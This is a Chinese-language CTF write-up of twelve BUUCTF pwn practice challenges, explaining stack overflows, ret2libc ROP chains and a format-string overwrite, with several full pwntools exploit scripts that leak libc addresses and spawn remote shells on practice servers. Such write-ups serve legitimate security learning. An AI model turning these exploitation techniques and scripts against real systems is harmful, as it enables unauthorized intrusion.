2021 rois暑假集训——栈溢出与简单的rop链(buuctf练习)

1.test_your_nc

习惯性检查一下文件属性,是64位程序

加一下执行权限看看文件,然后运行一下

 运行后发现什么提示也没有,但是终端中出现了 ‘$’,尝试出入一些指令 ls

 我们大胆猜测,这是一个直接有system(“/bin/sh”)的文件,用IDA反汇编查看伪代码,果然如此

 所以直接链接到靶机,控制交还给终端就好了

2.rip

 还是检查文件的保护并尝试执行,表面看不出来什么,应该是有一个输入程序和打印输入的内容,直接ida反汇编查看伪代码

 因为程序没有 开启canary保护,程序中直接有gets栈溢出漏洞

我们再看看有没有后门函数

有一个fun函数,所以这个题我们直接溢出覆盖返回地址位fun函数就行了,变量s的位置在距离rbp-0xf,所以我们填充0xf个人垃圾,在加上fun的地址,就完成了溢出。在ida中查看到fun的地址在0x401186,构造exp如下 

 

 3.warmup_csaw_2016 

 

64位 程序未开启栈溢出保护,那就直接ida反汇编查看

 进入main函数看看情况

又是存在gets函数漏洞的程序,我们直接看看程序中又没有后门函数

程序中存在直接读取 flag的函数,所以这次我们栈溢出,覆盖返回地址到sub_40060D()这个函数中,v5到rbp距离0x40,垃圾填充'a'*0x40 + sub_40060D()

在ida中查看后门函数的地址为0x40060D。exp如下:

 4.ciscn_2019_n_1

依旧是64位程序,ida查看

 两个无关紧要的函数(setbuf),我们直接查看func函数内容

 我们看到只要v2的数值等于11.28125,就可以执行system("cat /flag"),拿到flag,于是我们试图寻找标准输入v2,但是没有,v2初始化位0.0,且没有修改,但是我们又看到了gets漏洞,通过比对v1与v2在栈中的位置,我们只要填充0x30-0x4个字节的垃圾,就可以覆盖到v2的位置。payload='a'*0x2c + ??11.28125??,

但是又如何将11.28125写入栈中呢,一般的正整数我们可以直接p64(11)解决,但是这里shi小数,不能直接写入,所以需要我们把11.28125转化成补码,再将2进制补码转成16进制(0x41348000)写入内存,一种方法是我们自己去转换,另外我们可以在ida的反汇编数据中查找,

 汇编代码的判断选择部分,dword_4007F4,双击查看41348000h

exp如下:

 

 5.pwn1_sctf_2016

惯例检查文件保护,32位程序

 直接ida查看伪代码

我们在旁边的函数窗口看到了

get_flag

 我们找到了后门函数,下面就要看看入口了,main函数中只有vuln函数,我们进入vuln函数

 

 一堆函数,看着挺乱的没有头绪有一个fgets函数,但是只能读取32个字符,而S在哪栈中的位置是ebp-3C,没办法栈溢出。

意识没了头绪。我们再看,下面有一些字符串“I”,“you”,所以我们尝试执行程序,并输入"I ",,"you"

 我们看到了 ''I''变成了"you",我们回头在看,,代码中又replace()函数,进入查看

std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
  int v4; // [esp+Ch] [ebp-4Ch]
  char v5[4]; // [esp+10h] [ebp-48h] BYREF
  char v6[7]; // [esp+14h] [ebp-44h] BYREF
  char v7; // [esp+1Bh] [ebp-3Dh] BYREF
  int v8; // [esp+1Ch] [ebp-3Ch]
  char v9[4]; // [esp+20h] [ebp-38h] BYREF
  int v10; // [esp+24h] [ebp-34h] BYREF
  int v11; // [esp+28h] [ebp-30h] BYREF
  char v12; // [esp+2Fh] [ebp-29h] BYREF
  int v13[2]; // [esp+30h] [ebp-28h] BYREF
  char v14[4]; // [esp+38h] [ebp-20h] BYREF
  int v15; // [esp+3Ch] [ebp-1Ch]
  char v16[4]; // [esp+40h] [ebp-18h] BYREF
  int v17; // [esp+44h] [ebp-14h] BYREF
  char v18[4]; // [esp+48h] [ebp-10h] BYREF
  char v19[8]; // [esp+4Ch] [ebp-Ch] BYREF

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator<char>::allocator(&v7);
    v8 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v9);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
    std::string::begin((std::string *)&v11);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7);
    std::allocator<char>::~allocator(&v7);
    std::allocator<char>::allocator(&v12);
    std::string::end((std::string *)v13);
    v13[1] = std::string::length(a3);
    v15 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v16);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12);
    std::allocator<char>::~allocator(&v12);
    std::operator+<char>((std::string *)v19);
    std::operator+<char>((std::string *)v18);
    std::string::operator=(a2, v18, v5, v4);
    std::string::~string(v18);
    std::string::~string(v19);
    std::string::~string(v5);
    std::string::~string(v6);
  }
  std::string::string(a1, a2);
  return a1;
}

我们可以大胆猜测,这个函数是将我们输入的"I"替换成"you",而且其他的字符向后顺延(因为数据在内存以及栈中都是在连续的地址上,所以这些数据其实实在地址上的移动).这是一个重要的点。结合我们之前找到的后门函,我们觉得这一定是一个溢出,但是我们之呢个读取32和字节的数据,不能直接实现栈溢出,replace能够将数据向后面的地址移动,那么我们能不能在输入后门的地址,然后通过 “I”替换成"you" 来实现将返回地址刚好覆盖位后门函数呢?

后门函数的地址0x08048f0d,是8个字节,变量s在栈中位置是ebp-3C,3ch = 3*16+12=60个字节——20个' I ’替换成"you"刚好是60个字节!!!!因为32程序我们覆盖rbp只要4字节!!20+4+8刚好是32个字符!所以我们只要输入20个"I",以及4个其他垃圾再加上后门函数的地址,经过replace替换后刚好填充了栈内存,覆盖了rbp以及返回地址!exp如下:

 6.jarvisoj_level0

检查保护,64位程序,加权限后尝试运行 

要我们输入一些东西,所以我们直接 ida ,

 main函数里只有一个函数入口,我们先看看函数列表里面都有什么。

 这里有一个callsystem()地址为0x400596,进去看看, oho,直接获得权限后门函数。

我们就去main函数里面去寻找入口。进入vulnerable_function(1LL);

read函数读取0x200u个字节,而 buf在栈中距离rbp只有0x80h,明显的栈溢出,我们只需要写入88个垃圾,就可以覆盖返回地址为后门函数地址。exp如下:

7.ciscn_2019_c_1

检查程序

64位程序,未开启栈溢出保护

尝试运行

 多尝试几次 ,发现应该是一个对输入的字符串进行加密

 但是只有第一次会加密

而且是通过某种规则,但这不影响,ida反汇编 一下

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

 begin函数

我们继续看 main函数,输入2或3都啥东西,选择1后会执行Encrypt()

gets()存在漏洞,现在我们寻找有没有后门

 

 没有system ,也没有/bin/sh字符串。因为没有开启pie保护,我们通过ret2libc构造rop链。

 因为这是64位程序,我们构造rop链是需要维护栈平衡以及传递参数 pop rdi;ret

 利用ropper找到gadget的地址。程序中调用了puts函数,就会存在于got表中。我们调用puts函数,并设置参数为puts的got地址,就可将其打印出来,进而泄露libc 的地址,64位传参要先用寄存器传入。main函数地址为0x400b28。

payload:

*泄露libc

发送‘1’进入Encrypt,发送payload

 返回main,等待再次触发漏洞。计算libc基地址,找到system("/bin/sh")

发送‘1’,再次触发漏洞

payload构造: 

 完整exp:

8.[第五空间2019 决赛]PWN5

检查程序安全保护,32位程序,发现有canary保护,ida反汇编查看 

 进入main主函数

 很明显的看到格式化字符串漏洞printf(buf); 下面有system("/bin/sh")的调用,只要nprt与dword_804C044相等。dword_804C044是随机读取的内容,但是格式化字符串漏洞是在它之后。所以可以通过格式化字符串%$n修改dword_804C044数值,寻找一下格式化字符串的偏移。

利用%08x 泄露栈内容。我们发现参数在战中的位置是在第10,所以我们可以用%10$n修改 

这里,我们就把一个地址写入 吧,地址是4字节,%10$n 会在这里写入我们输入的字节数——4;这样我们就把dword_804C044的随机数改成了4;exp如下:

 9:babyrop

 32位程序,未开启canary保护,尝试运行后发现没有任何提示

 那就直接ida,进入main函数

看到三个函数,

 

第一个函数没有有用的价值,但是第三个函数有有栈溢出可以利用。 因为a1是字符型变量,与整型变量比较时,比较的是a1的 ASCII码值,只要a1不等于‘127’就可以触发else,读取a1个字节的数据。如果a1是转换后的数值大于0xE7(231),就可以实现溢出 。

我们回过头来看a1是如何设置的。在第二个函数中返回的buf[7]第三个函数的a1。第二个函数的参数是main里buf随机读取的四字节内容.在第二个函数中,读取输入,进行字符串比较,不同则退出,相同则返回输入的第8个字节及buf[7],可以通过输入 \0 绕过字符串比较。所以我们通过脚本发送'\0'+'255'就可以绕过检查,并且到达栈溢出的位置,接下来我们考虑如何利用溢出。

在ida中寻找一些有用的信息,后门函数或者system函数的调用。

 没有后门函数,也没有system调用以及“/bin/sh”字符串。那这题就是ret2libc 的方法了。

               (1)程序前面调用了read函数,我们可以通过构造rop链,调用write(1,xx_got,4)泄露libc的地址并返回main函数再次触发漏洞

                (2)根据libc的基地址找到 system以及“/bin/sh”

                (3)构造rop调用system("/bin/sh")

溢出漏洞payload,垃圾填充'a'*(0xe7+4) ,read返回地址覆盖为write_plt,设置write的返回地址为main,设置write的参数1,write_got,4.

payload='a'*0xe7+'a'*4 + p32(write_plt) + p32(main)+p32(1)+p32(write_got)+p32(4)

接受 write的got地址,接收4个字节,并用u32()转为地址。

计算system("/bin/sh")

 构造新的payload:payload='a'*0xe7 + 'a'*4 +p32(system) +'a'*4 +p32(binsh)

重复触发漏洞:

完整的exp如下:

from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',29106)
elf = ELF('./bo9')

main = 0x08048825
write_plt = elf.plt['write']
write_got = elf.got['write']

payload0='\0'*7+'\255'
r.sendline(payload0)
r.recvline()

payload='a'*0xe7+'a'*4 + p32(write_plt) + p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print hex(write_addr)
libc = LibcSearcher('write',write_addr)
offset = write_addr - libc.dump('write')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')

payload='a'*0xe7 + 'a'*4 +p32(system) +'a'*4 +p32(binsh)
r.sendline(payload0)
r.recvline()
r.sendline(payload)
r.interactive()

 10.ciscn_2019_n_8

检查保护

32位程序,基本上保护都打开了,尝试运行

 没找到有用的信息。ida查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

 简单分析程序,只要满足*(_QWORD *)&var[13] == 17LL ,就可以getshell,这个条件的意思是,var[13]的数值要等于17。所以我们只要输入数据,将var[13]设置位17就可以,exp如下

from pwn import  *
r=remote('node4.buuoj.cn',27621)
payload = p32(17)*14
r.sendline(payload)
r.recv()
r.interactive()

11.get_started_3dsctf_2016

检查程序

32位程序,未开启栈溢出保护,尝试运行

 喵的,直接ida!

 加载很慢,发现这个程序一定是静态编译没加入了很多很多很多的数据。get_flag函数就有后门,只要设置函数的两个参数满足条件就好了。进入main函数

 明显的溢出,但是没有get_flag 的入口,那么大致思路就是溢出覆盖返回地址为get_flag,设置参数a1,a2。

 

 但是,运行后发现不行,查看栈空间

main没有rbp,简单修改垃圾数据的长度,发现还是不行,卡了半天,去看了一些师傅的文章,这个payload必须有出口才能执行get_flag函数的内容,在ida函数表里看了半天

有师傅说找到一个exit的返回出口,地址0x 804e6a0

那么新的exp:

from pwn import *
p = remote("node4.buuoj.cn",29338)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()

以后也要记得检查 是否 有rbp。

12.jarvisoj_level2

检查保护

32位程序,没有开启栈溢出保护以及pie,直接ida

 

 main函数很简单,有system函数的调用,还有一个函数入口,进入看看,

read函数有栈溢出漏洞,那么我们的思路就是通过溢出调用system。

我们在函数表里找到system 的plt地址就可以构造payload;exp:如下:

from pwn import *
r=remote('node4.buuoj.cn',28327)
sys_addr = 0x08048320
binsh = 0x0804a024
payload = 'a'*(0x88+4)+p32(sys_addr)+'a'*4+p32(binsh)
r.sendline(payload)
r.recv()
r.interactive()

当然也可以通过 找到call_system ,构造payload,这种方式不需要设置调用system返回地址

 exp如下:

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值